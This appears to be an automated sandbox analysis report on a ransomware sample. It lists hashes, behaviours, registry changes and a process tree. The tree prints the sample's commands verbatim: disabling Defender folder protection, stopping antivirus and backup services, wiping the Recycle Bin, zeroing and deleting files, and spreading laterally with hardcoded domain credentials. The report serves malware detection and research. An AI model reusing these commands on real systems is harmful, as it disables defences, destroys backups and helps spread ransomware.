cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Resubmissions

30-04-2023 13:51

230430-q58pbshh32 10

Analysis

max time kernel
148s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
30-04-2023 13:51

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General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

8^/10

ransomware

Malware Config

Signatures

Downloads MZ/PE file

Modifies extensions of user files 3 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File created	C:\Users\Admin\Pictures\ResolveBlock.png.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\UnprotectMeasure.png.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\GroupBackup.raw.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Drops startup file 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Executes dropped EXE 1 IoCs

Processes:

tncbvdix.exe

pid process

4828 tncbvdix.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

2904 sc.exe
2276 sc.exe
4324 sc.exe
3592 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

4416 taskkill.exe
212 taskkill.exe
2668 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

512 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

452 PING.EXE

pid	process
4828	tncbvdix.exe

pid	process
2904	sc.exe
2276	sc.exe
4324	sc.exe
3592	sc.exe

pid	process
4416	taskkill.exe
212	taskkill.exe
2668	taskkill.exe

pid	process
512	notepad.exe

pid	process
452	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid	process
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exepowershell.exetaskkill.exetaskkill.exetaskkill.exetncbvdix.exe

description	pid	process
Token: SeDebugPrivilege	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	2668	taskkill.exe
Token: SeDebugPrivilege	4416	taskkill.exe
Token: SeDebugPrivilege	212	taskkill.exe
Token: SeAssignPrimaryTokenPrivilege	4828	tncbvdix.exe
Token: SeIncreaseQuotaPrivilege	4828	tncbvdix.exe
Token: SeImpersonatePrivilege	4828	tncbvdix.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1480 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1480 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	pid	process	target process
PID 1480 wrote to memory of 2636	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1480 wrote to memory of 2636	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1480 wrote to memory of 2636	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1480 wrote to memory of 4392	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 4392	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 4392	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1800	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1800	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1800	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 400	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 400	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 400	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 3636	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 3636	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 3636	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 2280	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 2280	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 2280	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1964	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1964	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1964	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1104	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1104	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1104	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 3868	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 3868	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 3868	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 4456	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 4456	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 4456	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 4524	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	Conhost.exe
PID 1480 wrote to memory of 4524	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	Conhost.exe
PID 1480 wrote to memory of 4524	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	Conhost.exe
PID 1480 wrote to memory of 1892	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1892	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1892	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1744	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1744	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1744	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1728	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1728	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1728	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 2044	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 2044	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 2044	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 3924	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 3924	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 3924	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 5024	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 5024	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 5024	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 4796	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 4796	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 4796	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 4672	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	cmd.exe
PID 1480 wrote to memory of 4672	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	cmd.exe
PID 1480 wrote to memory of 4672	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	cmd.exe
PID 1480 wrote to memory of 4944	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 4944	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 4944	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1972	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1972	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 1972	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1480 wrote to memory of 4196	1480	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Modifies extensions of user files
- Checks computer location settings
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1480
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2636
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:4392
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:3172
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:400
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:3408
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:4196
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:3840
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2836
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:4248
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:2592
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4416
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:212
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2668
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2904
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:2276
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:4324
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3404
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:3592
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:1536
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3952
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:3208
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:1640
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:1756
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:2544
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:988
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:4856
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:4968
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:2780
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:2628
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:4232
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:4976
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:3416
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:3024
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:4084
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:5000
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:2244
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:3756
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:3152
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:384
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:2104
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:4892
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:868
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:1064
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:1796
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2560
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:1972
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:4944
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:4672
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:4796
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:5024
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:3924
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:2044
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:1728
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:1744
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:1892
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:4524
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:4456
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:3868
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:1104
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:1964
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:2280
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:3636
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:1800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp74B8.bat
  2⤵
  PID:4672
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4524
- C:\Windows\SysWOW64\net.exe
  "net.exe" use \\10.127.0.101 /USER:EDENFIELD\efadmin P455w0rd
  2⤵
  PID:3000
- C:\Users\Admin\AppData\Local\Temp\tncbvdix.exe
  "C:\Users\Admin\AppData\Local\Temp\tncbvdix.exe" \10.127.0.101 -u EDENFIELD\efadmin -p P455w0rd -d -f -h -s -n 2 -c C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4828
- C:\Windows\SysWOW64\arp.exe
  "arp" -a
  2⤵
  PID:924
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:512
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:3172
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:452
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:1828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  PID:4912
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1064

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
1⤵
PID:1520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
1⤵
PID:3952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
1⤵
PID:1696

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
1⤵
